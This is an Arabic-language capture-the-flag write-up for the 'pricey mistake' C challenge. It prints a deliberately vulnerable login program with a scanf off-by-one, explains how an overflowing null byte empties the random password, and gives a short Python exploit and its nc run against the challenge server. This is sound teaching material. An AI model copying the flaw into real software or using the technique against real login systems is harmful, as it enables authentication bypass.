هذا حل لتحدي pricey mistake، التحدي تحدي C وقيمته 250 نقطة.
كود التحدي:
#include <stdio.h>
#include <strings.h>
void login() {
char username[64] = {0};
char correct_password[64] = {0};
char password[64] = {0};
getrandom(correct_password, sizeof(correct_password), 0);
printf("\n\t\tEnter username: ");
scanf ("%64s", username);
printf("\t\tEnter password: ");
scanf("%64s", password);
if( strcmp(username, "admin") == 0 && strcmp(password, correct_password) == 0) {
printf("\n\t\t[+] Here is your flag: flag{##}\n");
exit(0);
} else {
printf("\n\t\t[-] Try again maybe it works :-\n");
}
}
int main() {
printf("\n\t\tAdmin only login interface\n");
while(1) { login(); }
}
- يستقبل البرنامج قيمتين من مصدر خارجي (المستخدم) وهما
username
وpassword
ويقرأها باستخدامscanf
- ثم يقارن
username
مع النص"admin"
ويقارنpassword
معcorrect_password
باستخدام الدالةstrcmp()
- قيمة
correct_password
تم توليدها باستخدامgetrandom(2)
والتي تولّد بيانات عشوائية ثنائية قبل قراءة مدخلات المستخدم - في حال نجحت المقارنة سيتم طباعة الـ flag
معلومات يجب أن تفهمها:
الدالة scanf()
ستقرأ المدخلات إلى أن تقرأ whitespace character مثل '\n'
و ' '
وتتوقف، اقرأ أكثر عن الـ whitespace characters في توثيق الدالة isspace()
.
الدالة strcmp()
تقارن نصين منتهيين بـ null byte (أي \x00
)، وتعيد صفر في حال كان النصين متساويين إلى الـ null byte (أي نهاية النص)
لو قرأت أكثر عن scanf()
ستعرف أن %64s
تسمى بالـ width modifie حيث تحدّ عدد البايتات التي تقرأها scanf()
، وستكتب على الأكثر 65 بايت في الـ buffer، البايت الأخير الزائد هو الـ null byte (\x00
)، من توثيق scanf()
:
If width specifier is used, matches up to width or until the first whitespace character, whichever appears first. Always stores a null character in addition to the characters matched (so the argument array must have room for at least width+1 characters)
بينما لو لاحظت أن حجم الـ buffers هو 64 بايت، أي أن هناك off-by-one error، في هذه الحالة يمكننا استغلاله بالطريقة التالية، شكل المتغيرات في الـ stack سيكون كالتالي:
+-----------------------------+
| username (64 bytes) |
+-----------------------------+
| correct_password (64 bytes) |
+-----------------------------+
| password (64 bytes) |
+-----------------------------+
(المتغيرات بالشكل السباق وبدون فراغات padding لأن أحجامها من مضاعفات 16 بايت، لا تقم بافتراضات اعتباطية حول شكل الـ stack).
لو أدخلنا في username
كلمة admin
متبوعة بـ \x00
(كي تنجح المقارنة مع النص "admin"
) ثم أتبعناها بأي 58 حرف ليس من الـ whitespace characters، فستقرأها scanf()
كلها وتخزنها في username
، لكنها ستكتب \x00
في البايت الـ 65، في هذه الحالة ستكون قد كتبت \x00
في بداية correct_password
، هكذا يمكننا كتابة \x00
في password
، كي تقوم strcmp()
بمقارنة نص فارغ مع نص فارغ strcmp("", "")
، وكما نعلم أن تلك القيمتين متساويتين، هكذا سنجعل المقارنة تنجح وسنحصل على الـ flag.
إنشاء الاستغلال باستخدام Python:
with open('exploit.bin', 'wb') as fp:
fp.write(b'admin' + b'\x00' * 59 + b'\n')
fp.write(b'\x00\n')
تجربة الاستغلال:
$ nc ctf.wes4m.io 13301 < exploit.bin
Admin only login interface
Enter username: Enter password:
[+] Here is your flag: flag{a_NULL_byte_alone_can_do_alot}
$
طريقة أخرى للحل هي استغلال فكرة أن getrandom(2)
تولّد بيانات عشوائية ثنائية، لو عملت brute-force فتحتاج في المتوسط لـ 256 محاولة كي يكون أول بايت في correct_password
مساوي للصفر \x00
، في طريقة الاستغلال هذه لاتحتاج لعمل overflow لأي buffer.